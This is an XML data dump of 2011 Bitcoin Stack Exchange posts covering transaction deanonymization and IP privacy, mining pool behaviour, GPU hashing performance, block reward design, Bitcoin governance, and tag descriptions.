  <row Id="1514" PostTypeId="1" CreationDate="2011-10-13T23:34:19.687" Score="10" ViewCount="704" Body="&lt;p&gt;I know that it is possible to find out the IP address of a transaction by connecting the client to every node in the network. &lt;a href=&quot;http://www.slideshare.net/dakami/black-ops-of-tcpip-2011-black-hat-usa-2011&quot;&gt;Dan Kaminsky wrote&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When you are connected to every node, the first node to inform&#xA;  you of a transaction is the source of it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So my question is: is it possible to hide my IP address by blocking incoming connections in the client? Or are there other ways to find out the IP address of a transaction?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-10-17T16:49:56.797" Title="Can I hide my IP address by blocking incoming connections in the client?" Tags="|transactions|client|privacy|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1515" PostTypeId="2" ParentId="1514" CreationDate="2011-10-14T01:48:34.453" Score="6" Body="&lt;p&gt;Dan Kaminsky's deanonymization works by having a lot of probes in bitcoin network that collect data about how transaction propagate and than trying to localize it's source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When packet travels in the network (Internet), it has to have source and destination IP addresses in it's header. Therefore when your bitcoin client sends transaction it has to wrap it into IP packet with your source address and destination address of the connected peer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For one way communication it's theoretically possible to have random IP source address in a broadcasted transaction, but it would be still possible to deanonymize by knowing location of closest peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be easy to avoid deanonymization by using any kind of IP proxy, see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/771/what-is-blitcoin&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. The answer has some speculations because Dan Kaminsky didn't release the software yet.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2011-10-14T09:12:04.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1516" PostTypeId="2" ParentId="1512" CreationDate="2011-10-14T07:01:37.947" Score="8" Body="&lt;p&gt;It allows the pool to avoid making new work for every single request. Instead, it just increments the time by a second and gives that to the next miner. Under heavy load (longpolls), Eligius might use the same work for up to 7,200 miners, meaning the last miner gets a work timestamped 2 hours into the future. This helps reduce stale shares significantly.&lt;/p&gt;&#xA;" OwnerUserId="572" LastActivityDate="2011-10-14T07:01:37.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1517" PostTypeId="1" AcceptedAnswerId="2664" CreationDate="2011-10-14T09:28:54.660" Score="18" ViewCount="2350" Body="&lt;p&gt;It occurred to me the other day that the difficult problem of electronic voting could possibly be solved quite nicely using a bitcoin system. I believe it's transparent enough to be trusted. I found a few threads discussing this already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has any work been done in this area yet? I think it's worth investigating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some threads I seen are &lt;a href=&quot;https://bitcointalk.org/index.php?topic=36807.0&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=46130.0;all&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="136" LastEditDate="2011-10-14T12:35:32.080" LastActivityDate="2016-09-06T14:32:22.440" Title="Has anyone attempted to make a working voting system using a bitcoin based system?" Tags="|alternatives|services|" AnswerCount="6" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1518" PostTypeId="2" ParentId="1517" CreationDate="2011-10-14T12:38:46.140" Score="12" Body="&lt;p&gt;The bitcoin concept has no method to limit anything to a single entity.  I am one person yet on bitcon network I have multiple addresses,  I have multiple wallets which contain multiple addresses, I make up multiple nodes, I have multiple rigs with multiple GPU each, I use multiple IP addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything about the bitcon network was designed to allow such a scenario to take place.  evoting requires multiple concepts which are incompatible with current bitcoin network&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) authenticate the person voting (is this person a valid registered voter).&#xA;2) keep the authenticated person anonymous.&#xA;3) ensure votes can't be duplicated&#xA;4) ensure vote count is public, verifiable, and immune to abuse by central authority&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eVoting not be solved &quot;easily&quot; by bitcoin network.  I would say eVoating can't be solved &quot;easily&quot; period.  There are some very non-trivial issues with the combination of the above requirements.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin network doesn't help to ensure that any of the 4 principles above are met.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-14T17:12:15.423" LastActivityDate="2011-10-14T17:12:15.423" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1519" PostTypeId="1" CreationDate="2011-10-14T19:44:32.873" Score="8" ViewCount="466" Body="&lt;p&gt;For a definitive record is it possible to determine if a namecoin block was generated via merged mining?  Is so which was the first one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is the first bitcoin block to have namecoin information in coinbase transaction?&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="5406" LastEditDate="2016-01-22T22:21:36.150" LastActivityDate="2016-01-22T22:21:36.150" Title="Which Namecoin block was the first one to be generated by merged mining?" Tags="|namecoin|history|merged-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1520" PostTypeId="1" AcceptedAnswerId="1666" CreationDate="2011-10-14T23:01:31.993" Score="16" ViewCount="4124" Body="&lt;p&gt;Are there any ongoing projects trying to develop a widely accessible WebCL-powered mining software? I've heard of two in the past, but their websites don't seem to be working any more.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-02-02T09:46:08.393" LastActivityDate="2017-10-09T00:14:06.700" Title="What is the status on webminers?" Tags="|cpu-mining|project|webminer|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1521" PostTypeId="1" AcceptedAnswerId="1522" CreationDate="2011-10-14T23:16:04.557" Score="1" ViewCount="248" Body="&lt;p&gt;The Bitcoin project has grown many-fold since its creation, but since we haven't taken over the world yet, there is still some room for growth;). Is there some consensus on what does the Bitcoin project need the most at the current moment? That is, if I had some manpower or money to spend, where would they be best applied to help it grow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be it contributing to the main client, developing alternative clients, miners, pools, exchanges, shops, or simply letting more and more people know about the Bitcoins, what are your thoughts on what is the best thing to do?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2017-12-23T19:10:07.447" LastActivityDate="2017-12-23T19:10:07.447" Title="What does the Bitcoin community need the most now?" Tags="|development|project|" AnswerCount="1" CommentCount="4" ClosedDate="2011-10-15T00:06:55.240" ContentLicense="CC BY-SA 3.0" />
  <row Id="1522" PostTypeId="2" ParentId="1521" CreationDate="2011-10-14T23:19:41.897" Score="1" Body="&lt;p&gt;PR is the most important thing for growth right now.  There's enough basic services that you can use with bitcoin, but not enough people to use them.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-10-14T23:19:41.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1523" PostTypeId="1" AcceptedAnswerId="1525" CreationDate="2011-10-14T23:23:44.160" Score="5" ViewCount="10493" Body="&lt;p&gt;Currently the best graphics cards to mine Bitcoins are all AMDs. What should be changed in the Bitcoin protocol to make the alternative version of Bitcoins better mined by NVIDIA graphics cards? Could there be a protocol that would support both of the graphics cards produces in more or less equal way?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-02-02T09:48:16.957" LastActivityDate="2016-02-02T09:48:16.957" Title="Bitcoin alternative designed for NVIDIA" Tags="|proof-of-work|mining-hardware|gpu-mining|mining-software|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1524" PostTypeId="1" AcceptedAnswerId="2921" CreationDate="2011-10-14T23:54:12.713" Score="7" ViewCount="3148" Body="&lt;p&gt;What is the largest number of bitcoins that were stored in a single address at any one time to date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there were &gt;474320 BTC at this &lt;a href=&quot;http://blockexplorer.com/a/GW1A8ReP5&quot;&gt;address&lt;/a&gt; at 2011-07-18 (identified to be MtGox's from the 424 242.42424242 transaction). Has any address ever contained more than this?&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2012-02-24T22:41:24.230" Title="Largest number of bitcoins at a single address at one time?" Tags="|blockchain|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1525" PostTypeId="2" ParentId="1523" CreationDate="2011-10-15T00:03:11.237" Score="18" Body="&lt;p&gt;The specific reason that AMD cards are more efficient for Bitcoin mining is twofold and the answer to this question depends on both reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;AMD GPUs tend to have lower-end ALUs but make up for this by packing more ALUs onto the card overall. For most hash algorithms this is preferable.&lt;/li&gt;&#xA;&lt;li&gt;AMD GPUs uses ALUs which can perform the 32-bit integer right rotate operation in a single instruction - Nvidia's ALUs take three processor cycles to perform the same operation. SHA256 uses this operation heavily, therefore Bitcoin mining uses this operation heavily.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Combining the two reasons above results in an overall 3x-5x faster generation of SHA256 checksums. &lt;strong&gt;However&lt;/strong&gt; the two effects are not equal: Effect 1 leads to approximately 2x-3x Nvidia's performance all on its own, with Effect 2 accounting for about 1.7x performance advantage. Even if you were to choose a hashing algorithm that made less use of the BIT_ALIGN_INT instruction AMD cards would still be 2x-3x faster for hashing algorithms in general. This is because such algorithms are explicitly designed to be simple binary operations which AMD's simple ALUs can handle just as well as Nvidia's more complex ALUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to choose an algorithm which would perform better on Nvidia cards than AMD cards, you would not only have to eliminate scenarios such as #2 above where a specific instruction happens to be better implemented on one card than the other, you would also have to choose an algorithm with math complex enough that Nvidia's higher-end ALUs get the chance to individually shine. To my knowledge no such algorithm exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To back up my statements, here is some example data from &lt;a href=&quot;http://hashcat.net/oclhashcat/&quot; rel=&quot;nofollow noreferrer&quot;&gt;oclHashcat&lt;/a&gt;'s web site. The table below compares actual performance measurements from similarly priced AMD and Nvidia cards for the MD5, SHA1, MD4, NTLM and SHA256 algorithms, among others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SfhlU.png&quot; alt=&quot;oclHashcat performance table&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that in comparing PC1/2 and PC3/4 that the Nvidia cards actually have higher clock speeds in both cases and still perform worse. In no case did Nvidia's performance approach the performance of a similarly priced AMD card, and to my knowledge no currently implemented algorithm performs sufficiently complex mathematics to make use of the more advanced ALUs on Nvidia's cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, Nvidia cards are like a small room with several fairly intelligent people, each capable of complex mathematics while AMD's cards are like a sweatshop. Hash algorithms are the computing equivalent of mass-producing name-brand tennis shoes and so the AMD &quot;sweatshop&quot; card will always outperform.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-10-15T00:03:11.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1526" PostTypeId="1" CreationDate="2011-10-15T00:26:31.130" Score="16" ViewCount="1475" Body="&lt;p&gt;The current method to control the bitcoin supply to a maximum of 21 million BTC is to reduce the block reward (currently 50 BTC/block) by 50% every 210000 blocks. In this forum &lt;a href=&quot;https://bitcointalk.org/index.php?topic=7496.msg110010#msg110010&quot; rel=&quot;noreferrer&quot;&gt;post&lt;/a&gt; there is a discussion about &amp;quot;why doesn't the block reward decrease continuously?&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;The OP writes:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;So I personally wish that Satoshi had instead implemented a &lt;em&gt;continuous&lt;/em&gt; block reward decrease.  With that approach, the reward will decrease ever-so-slightly with each successive block but still converge to 21 million.  That would avoid potentially disruptive discontinuities.  It's too late to change that now but, still, does anyone know why he chose a block reward function that looks like a staircase rather than a smooth curve?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This gets rid of the discontinuity (block reward going from 50 to 25 BTC) at the 210000 block mark and at each subsequent block reward readjustment. Would this be better than the current method? Are there other advantages to this method? Are there any disadvantages to a continuously decreasing block reward?&lt;/p&gt;&#xA;&lt;p&gt;One disadvantage I can possibly think of is that this would favor &amp;quot;early adopters&amp;quot; even more than the current bitcoin implementation.&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-03-25T23:00:32.247" Title="What are the advantages/disadvantages of a continuously decreasing block reward compared to the current method?" Tags="|block|reward-schedule|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1527" PostTypeId="2" ParentId="1524" CreationDate="2011-10-15T00:33:20.370" Score="4" Body="&lt;p&gt;There was an &lt;a href=&quot;https://en.bitcoin.it/wiki/Incidents#Value_overflow&quot; rel=&quot;nofollow&quot;&gt;instance&lt;/a&gt; where someone caused an &lt;a href=&quot;https://en.bitcoin.it/wiki/Incidents#Value_overflow&quot; rel=&quot;nofollow&quot;&gt;overflow error&lt;/a&gt; and credited themselves with more Bitcoins than could ever be created, but this is mainly a side-note, since they weren't legitimate coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you believe &lt;a href=&quot;http://bitcoinreport.blogspot.com/&quot; rel=&quot;nofollow&quot;&gt;The Bitcoin Report&lt;/a&gt;, the largest sum of Bitcoins ever found together was 424242.43424242 on address 1eHhgW6vquBYhwMPhQ668HPjxTtpvZGPC.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-15T10:58:35.617" LastActivityDate="2011-10-15T10:58:35.617" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1528" PostTypeId="2" ParentId="1520" CreationDate="2011-10-15T02:32:59.353" Score="3" Body="&lt;p&gt;There is a page claiming to be an OpenCL miner at &lt;a href=&quot;http://www.coined.com&quot; rel=&quot;nofollow&quot;&gt;coined.com&lt;/a&gt; but I'm not sure if it's functional or not.&lt;/p&gt;&#xA;" OwnerUserId="573" LastEditorUserId="22" LastEditDate="2011-10-15T05:49:22.610" LastActivityDate="2011-10-15T05:49:22.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1529" PostTypeId="2" ParentId="1526" CreationDate="2011-10-15T04:55:08.693" Score="3" Body="&lt;p&gt;&lt;strong&gt;One severe disadvantage is that the hashrate will plunge dramatically right after the last 50BTC block&lt;/strong&gt; instead of decaying slowly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the long run (i.e. over multi-month horizons) people will mine if the reward per share exceeds their cost of electricity per share.  Most miners know their electricity cost, and a lot of them will see in advance that the 50BTC-&gt;25BTC drop will put them &quot;in the red&quot;, where it costs them more in electric bills to mine 1BTC than it would cost them to buy 1BTC on an exchange.  These miners will be ready in advance and will switch off within a day of the 50BTC-&gt;25BTC block.  I'm not convinced that the community, the network, or the developers are prepared for this, and having it happen over the course of a few days is going to make dealing with it harder rather than easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One advantage is that it probably helped bootstrap the network hashrate more quickly.  It's easier to say &lt;strong&gt;&quot;oh, I'll investigate this mining thing next week&quot;&lt;/strong&gt; if you know that each week's reward is only slightly less than next week's.  On the other hand, if you know the rate will be cut in half at some point, waiting a week to get started means you're sacrificing (approximately) a &quot;50BTC/block week&quot; of which there are a limited supply.  I know it certainly got me to prioritize starting my mining experiments above other stuff that could wait a few weeks/months.&lt;/p&gt;&#xA;" OwnerUserId="405" LastEditorUserId="5" LastEditDate="2011-10-15T08:43:26.107" LastActivityDate="2011-10-15T08:43:26.107" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1530" PostTypeId="1" CreationDate="2011-10-15T07:12:00.027" Score="12" ViewCount="8357" Body="&lt;p&gt;Is there anything comparable to a &quot;board of directors&quot; for Bitcoin or is the software on complete cruise-control? &lt;/p&gt;&#xA;" OwnerUserId="367" LastEditorUserId="5406" LastEditDate="2016-05-09T15:38:14.920" LastActivityDate="2020-02-20T16:52:14.350" Title="Who controls the Bitcoin software?" Tags="|bitcoin-core-development|governance|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1531" PostTypeId="2" ParentId="1530" CreationDate="2011-10-15T07:24:01.090" Score="2" Body="&lt;p&gt;You control it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is open source, so if you want to modify the copy you're running, go right ahead.&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2011-10-15T07:24:01.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1532" PostTypeId="2" ParentId="1530" CreationDate="2011-10-15T07:49:54.493" Score="9" Body="&lt;p&gt;There are a number of &quot;core&quot; developers. And the ones who have access to commit directly to the Github project obviously have more &quot;power&quot; than other people. Since the software is open source you can of course make your own copy of it and modify it to your likings but you won't be able to change any of the &quot;rules&quot; of the network unless you get the rest of the Bitcoin world to follow you and use your client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://www.bitcoin.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin.org&lt;/a&gt; the core developers are Satoshi Nakamoto, Gavin Andresen, Pieter Wuille, Nils Schneider and Jeff Garzik. According to a &lt;a href=&quot;http://sourceforge.net/mailarchive/message.php?msg_id=28223657&quot; rel=&quot;nofollow noreferrer&quot;&gt;recent message&lt;/a&gt; on the Bitcoin Development mailing list Wladimir (J. van der Laan?) is now also part of the core development team. Obviously Satoshi is not anymore, so I don't know how accurate the list on bitcoin.org actually is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ones who have push access to the Github project are according to &lt;a href=&quot;http://sourceforge.net/mailarchive/message.php?msg_id=28150387&quot; rel=&quot;nofollow noreferrer&quot;&gt;this message&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/gavinandresen&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gavin Andresen&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/tcatm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Nils Schneider&lt;/a&gt; (a.k.a. tcatm)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/sipa&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pieter Wuille&lt;/a&gt; (a.k.a. sipa)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/jgarzik&quot; rel=&quot;nofollow noreferrer&quot;&gt;Jeff Garzik&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/alexwaters&quot; rel=&quot;nofollow noreferrer&quot;&gt;Alex Waters&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Gavin, who is the lead developer is active here so I'm sure he can give us a clearer answer himself. Also see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/176/is-there-a-list-of-core-bitcoin-committers&quot;&gt;Is there a list of core Bitcoin committers?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2011-10-15T08:21:46.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1533" PostTypeId="2" ParentId="1526" CreationDate="2011-10-15T09:17:15.570" Score="3" Body="&lt;p&gt;I think most likely the thinking was basically short term. The fear of the sudden drop was probably expected to create significant interest as people wanted to get in as soon before the drop as possible. Also, the hope that the drop in mining rewards would trigger a significant sudden increase in value was probably calculated to help fuel speculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of aspects of the design of Bitcoin that appear calculated to increase adoption. The catastrophic drops in mining rewards appear to be one of them.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-10-15T09:17:15.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1534" PostTypeId="2" ParentId="1137" CreationDate="2011-10-15T11:47:06.370" Score="1" Body="&lt;p&gt;As we can't really know what the particular coins are doing in the network, we can't tell for sure whether they are being actively traded for other coins, or traded in another way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for what the percentage can tell us, is that Bitcoins are transferred less frequently, be it because they are hoarded, saved, lost, or otherwise not moved. For example, coins stored in BitBills will contribute to lowering the Days Destroyed, as they are not actively traded through the network. As Namecoins and SolidCoins are still young currencies, there are less means for those coins to be not moved (less people loose their wallets, store coins offline, etc.), and less people want to save in them to store value (if NC or SC are attacked and destroyed, BC will still be able to hold on on it's own relatively unharmed, if BC goes down, all the alternative coinages will probably go down as well, as people have less trust in them for now).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in general, comparing Days Destroyed can show how many people move their coins, rather than storing them, but the details as to why that is so requires the knowledge of all the ways people use the given coinage.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-15T11:47:06.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1535" PostTypeId="2" ParentId="1530" CreationDate="2011-10-15T12:26:20.347" Score="1" Body="&lt;p&gt;In some sense don't the miners control the software? If there are some changes made to the bitcoin code and the majority of miners (by hashrate?) don't upgrade for what ever reason then    the changes won't be implemented.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-10-15T12:26:20.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1536" PostTypeId="5" CreationDate="2011-10-15T14:32:40.877" Score="0" Body="&lt;p&gt;Any question related to the topic of standards and standardization of terminology or protocol&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-15T14:58:37.053" LastActivityDate="2011-10-15T14:58:37.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1537" PostTypeId="4" CreationDate="2011-10-15T14:32:40.877" Score="0" Body="Dealing with standardization of Bitcoin-related topics, such as terminology or protocol." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-15T14:58:47.083" LastActivityDate="2011-10-15T14:58:47.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1538" PostTypeId="5" CreationDate="2011-10-15T16:38:07.617" Score="0" Body="&lt;p&gt;Any question related to Bitcoin mining software that is not run as an executable on the system, but rather as a script on a website.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-15T16:54:47.557" LastActivityDate="2011-10-15T16:54:47.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1539" PostTypeId="4" CreationDate="2011-10-15T16:38:07.617" Score="0" Body="Web-based Bitcoin mining scripts" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-15T20:33:47.930" LastActivityDate="2011-10-15T20:33:47.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1540" PostTypeId="5" CreationDate="2011-10-15T16:53:57.370" Score="0" Body="&lt;p&gt;Any question related to raw, unprocessed data used by various programs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Raw data is important for developers to test their system whether it conforms to the standards and produces the correct results.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-15T20:34:00.037" LastActivityDate="2011-10-15T20:34:00.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1541" PostTypeId="4" CreationDate="2011-10-15T16:53:57.370" Score="0" Body="should be used for questions related to raw data" OwnerUserId="95422" LastEditorUserId="95422" LastEditDate="2021-02-02T08:52:05.890" LastActivityDate="2021-02-02T08:52:05.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1542" PostTypeId="5" CreationDate="2011-10-15T16:56:59.850" Score="0" Body="&lt;p&gt;The Bitcoin network employs a Peer-to-Peer network protocol to allow nodes to communicate with each other. The protocol rules and messages are explained &lt;a href=&quot;https://bitcoin.org/en/developer-reference#p2p-network&quot; rel=&quot;nofollow noreferrer&quot;&gt;on bitcoin.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tag should be used for questions that are specifically about how the network protocol works and the connections between nodes.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="48884" LastEditDate="2017-10-20T20:14:55.023" LastActivityDate="2017-10-20T20:14:55.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1543" PostTypeId="4" CreationDate="2011-10-15T16:56:59.850" Score="0" Body="This tag should be used for questions related to the Bitcoin network and communication between different nodes on the Internet." OwnerUserId="323" LastEditorUserId="48884" LastEditDate="2017-10-20T20:14:55.023" LastActivityDate="2017-10-20T20:14:55.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1544" PostTypeId="5" CreationDate="2011-10-15T16:58:21.940" Score="0" Body="&lt;p&gt;There are many software projects being worked on in Bitcoin. This tag can be used for anything from personal projects where you are trying to interact with an API from questions about how to contribute to Bitcoin's development or contributing specific Bitcoin related open source projects.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="48884" LastEditDate="2017-10-20T02:35:16.987" LastActivityDate="2017-10-20T02:35:16.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1545" PostTypeId="4" CreationDate="2011-10-15T16:58:21.940" Score="0" Body="The creation and ongoing work for different existing and future Bitcoin-related projects and source code." OwnerUserId="323" LastEditorUserId="13866" LastEditDate="2023-05-11T13:54:03.670" LastActivityDate="2023-05-11T13:54:03.670" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1546" PostTypeId="5" CreationDate="2011-10-15T17:01:59.753" Score="0" Body="&lt;p&gt;Related to the people using and supporting the Bitcoin Network. Be it related to the basic client, StackExchange, forums, chatrooms or any other Bitcoin-related endeavour.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-15T20:35:20.927" LastActivityDate="2011-10-15T20:35:20.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1547" PostTypeId="4" CreationDate="2011-10-15T17:01:59.753" Score="0" Body="Related to the people using and supporting the Bitcoin Network." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-15T20:35:27.463" LastActivityDate="2011-10-15T20:35:27.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1548" PostTypeId="5" CreationDate="2011-10-15T17:05:40.670" Score="0" Body="&lt;p&gt;Media coverage of the Bitcoin project, as well as current and past events related to it.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-15T20:35:30.957" LastActivityDate="2011-10-15T20:35:30.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1549" PostTypeId="4" CreationDate="2011-10-15T17:05:40.670" Score="0" Body="Media coverage of the Bitcoin project, as well as current and past events related to it." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-15T20:35:33.437" LastActivityDate="2011-10-15T20:35:33.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1550" PostTypeId="5" CreationDate="2011-10-15T17:06:48.577" Score="0" Body="&lt;p&gt;Related to the Graphical User Interface for various computer programs.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-15T20:35:38.290" LastActivityDate="2011-10-15T20:35:38.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1551" PostTypeId="4" CreationDate="2011-10-15T17:06:48.577" Score="0" Body="Related to the Graphical User Interface for various computer programs." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-15T20:35:41.610" LastActivityDate="2011-10-15T20:35:41.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1552" PostTypeId="5" CreationDate="2011-10-15T17:08:54.973" Score="0" Body="&lt;p&gt;Deflation is a general fall in the price of goods measured in a particular currency. Deflation indicates an increasing value of currency so that over time, less and less of that currency is required to purchase the same value of goods.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-15T20:35:45.683" LastActivityDate="2011-10-15T20:35:45.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1553" PostTypeId="4" CreationDate="2011-10-15T17:08:54.973" Score="0" Body="Deflation is a general fall in the price of goods measured in a particular currency. Deflation indicates an increasing value of currency so that over time, less and less of that currency is required to purchase the same value of goods." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-15T20:35:47.400" LastActivityDate="2011-10-15T20:35:47.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
